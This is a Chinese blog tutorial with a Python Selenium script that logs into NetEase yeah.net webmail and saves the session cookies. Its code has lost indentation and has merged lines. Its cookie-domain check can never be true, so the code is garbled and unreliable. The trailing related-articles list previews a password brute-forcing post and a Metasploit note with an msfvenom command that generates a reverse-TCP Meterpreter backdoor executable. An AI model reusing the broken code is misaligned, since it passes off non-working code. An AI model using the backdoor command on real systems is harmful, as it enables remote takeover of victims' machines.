环境要求

  1. python 3.6
  2. chromedriver.exe 文件

人工登录

人工登录某个网站,首先需要用浏览器打开登录页面,然后在输入框中输入对应的账号和密码,最后点击登录,以下使用代码模拟以上过程达到登录效果

代码实现

from selenium import webdriver
import os
from selenium.webdriver.common.keys import Keys
import time
import pickle
import datetime # 保存 cookie
def save_cookies(cookies):
pickle.dump(cookies, open(r"D:\zyn\cookies\net\hbyunan.pkl", 'wb')) # 加载 cookie
def load_cookies(driver):
cookies = pickle.load(open(r"D:\zyn\cookies\net\hbyunan.pkl", 'rb'))
# 这里只将 domain 为 .yeah.net 和 .163.com 的加载进来
for cookie in cookies:
if cookie['domain'] == '.yeah.net' and cookie['domain'] == '.163.com':
driver.add_cookie(cookie) # 判断是否离开了某个页面
def wait_leave_page(driver, url, max_sec=10):
time.time()
startTime = datetime.datetime.now();
while True:
if (datetime.datetime.now() - startTime).seconds > max_sec:
print('超过%d秒,页面没有离开%s' % (max_sec, driver.current_url))
return False
if driver.current_url.find(url) != -1:
return True
time.sleep(1) def login():
# 加载 chrome 的 driver 这里会打开一个谷歌浏览器
# 注意 chromedriver.exe 文件的路径
driver = webdriver.Chrome(r"d:\chromedriver.exe")
# 打开网易邮箱登录页面
driver.get("http://yeah.net/")
assert "网易" in driver.title
# 因为 网易邮箱登录页面账号输入框在 <iframe id = 'x-URS-iframe' ... >... 中
# 这里先 跳到 这个 iframe 中
driver.switch_to.frame("x-URS-iframe") # 根据 name 找到 密码输入框
# <input name="password" >
elem = driver.find_element_by_name("password")
# 清空原有内容
elem.clear()
# 填入密码
elem.send_keys("这里是密码") # 同理填入 账号
elem = driver.find_element_by_name("email")
elem.clear()
elem.send_keys("hbyunan") # 得到 登录按钮并单击
elem = driver.find_element_by_id("dologin")
elem.click() # 等待 1s 并判断,是否能离开登录页面,如果能离开说明登录成功
time.sleep(1) if wait_leave_page(driver, "mail"):
print("登录成功")
save_cookies(driver.get_cookies())
else:
print("登录失败") if "__main__" == __name__:
login()

使用python模拟登录网易邮箱网站的更多相关文章

  1. Python手动构造Cookie模拟登录后获取网站页面内容

    最近有个好友让我帮忙爬取个小说,这个小说是前三十章直接可读,后面章节需要充值VIP可见.所以就需要利用VIP账户登录后,构造Cookie,再用Python的获取每章节的url,得到内容后再使用 PyQ ...

  2. 【Python数据分析】Python模拟登录(一) requests.Session应用

    最近由于某些原因,需要用到Python模拟登录网站,但是以前对这块并不了解,而且目标网站的登录方法较为复杂, 所以一下卡在这里了,于是我决定从简单的模拟开始,逐渐深入地研究下这块. 注:本文仅为交流学 ...

  3. 【py登陆】python模拟登录

    用Python模拟登录网站 前面简单提到了 Python 模拟登录的程序,但是没写清楚,这里再补上一个带注释的 Python 模拟登录的示例程序.简单说一下流程:先用cookielib获取cookie ...

  4. 忘记秘密利用python模拟登录暴力破解秘密

    忘记秘密利用python模拟登录暴力破解秘密: #encoding=utf-8 import itertools import string import requests def gen_pwd_f ...

  5. [Python] Python 模拟登录,并请求

    Python 模拟登录,并请求 # encoding: utf- import requests import socket import time socket.setdefaulttimeout( ...

  6. Python爬虫模拟登录带验证码网站

    问题分析: 1.爬取网站时经常会遇到需要登录的问题,这是就需要用到模拟登录的相关方法.python提供了强大的url库,想做到这个并不难.这里以登录学校教务系统为例,做一个简单的例子. 2.首先得明白 ...

  7. python selenium模拟登录163邮箱和QQ空间

    最近在看python网络爬虫,于是我想自己写一个邮箱和QQ空间的自动登录的小程序, 下面以登录163邮箱和QQ空间和为例: 了解到在Web应用中经常会遇到frame/iframe 表单嵌套页面的应用, ...

  8. [Python] 模拟登录网站(。。为了之后操作数据。。)

    我司的内部管理(Web)系统(日报)着实..(mafan).. 所以,就想自己动手增加一下便利性. 计划是, - 桌面程序 用来方便记录(按自己格式,数据随时保存到sqlite中,备用) 通过一览来确 ...

  9. Python模拟登录实战(一)

    今天,学习了模拟登录新浪微博.模拟登录主要有两种方式,一.利用Cookie:二.模仿浏览器的请求,发送表单. 法一: Cookie:指某些网站为了辨别用户身份而储存在用户本地终端上的数据(通常经过加密 ...

随机推荐

  1. [LC] 82. Remove Adjacent Repeated Characters IV

    Repeatedly remove all adjacent, repeated characters in a given string from left to right. No adjacen ...

  2. Java零基础学习详解

    01DButils工具类的介绍个三个核心类 * A: DButils工具类的介绍个三个核心类 * a: 概述 * DBUtils是java编程中的数据库操作实用工具,小巧简单实用. * DBUtils ...

  3. Keywords|Result|Final check

    科研论文写作 风格最好是excited,不要过于谦虚. Reference不要过多引用自己的paper,可以多引用本刊物的paper. Acknowledgement:感谢帮助input的人员,可以n ...

  4. Cell theory|Bulk RNA-seq|Cellar heterogeneity|Micromanipulation|Limiting dilution|LCM|FACS|MACS|Droplet|10X genomics|Human cell atlas|Spatially resolved transcriptomes|ST|Slide-seq|SeqFISH|MERFISH

    生物信息学 Cell theory:7个要点 All known living things are made up of one or more cells. All living cells ar ...

  5. 形参和实参|默认值|可选实参|tuple|*tuple|args|*args | **kwargs|args[:]|

    #!/usr/bin/python def hello(i,greet='long time to see!'): out = "hello "+i+" "+g ...

  6. Opencv笔记(十二)——形态学转换

    学习目标: 学习不同的形态学操作,例如腐蚀,膨胀,开运算,闭运算等 我们要学习的函数有: cv2.erode(), cv2.dilate(), cv2.morphologyEx()等 原理简介: 形态 ...

  7. Zabbix常用监控项整理

    zabbix常用key:http://blog.51cto.com/ttxsgoto/1771752 linux主机cpu使用率超过90%的时候报警:https://blog.csdn.net/reb ...

  8. Laravel 操作指令

    php artisan migrate —path=database/migrations/v1 更新表数据 php artisan make:migration create_channels_ta ...

  9. [LC] 1055. Shortest Way to Form String

    From any string, we can form a subsequence of that string by deleting some number of characters (pos ...

  10. Metasploit笔记

    生成exe后门 msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o 1987.exe 生成PHP后门 m ...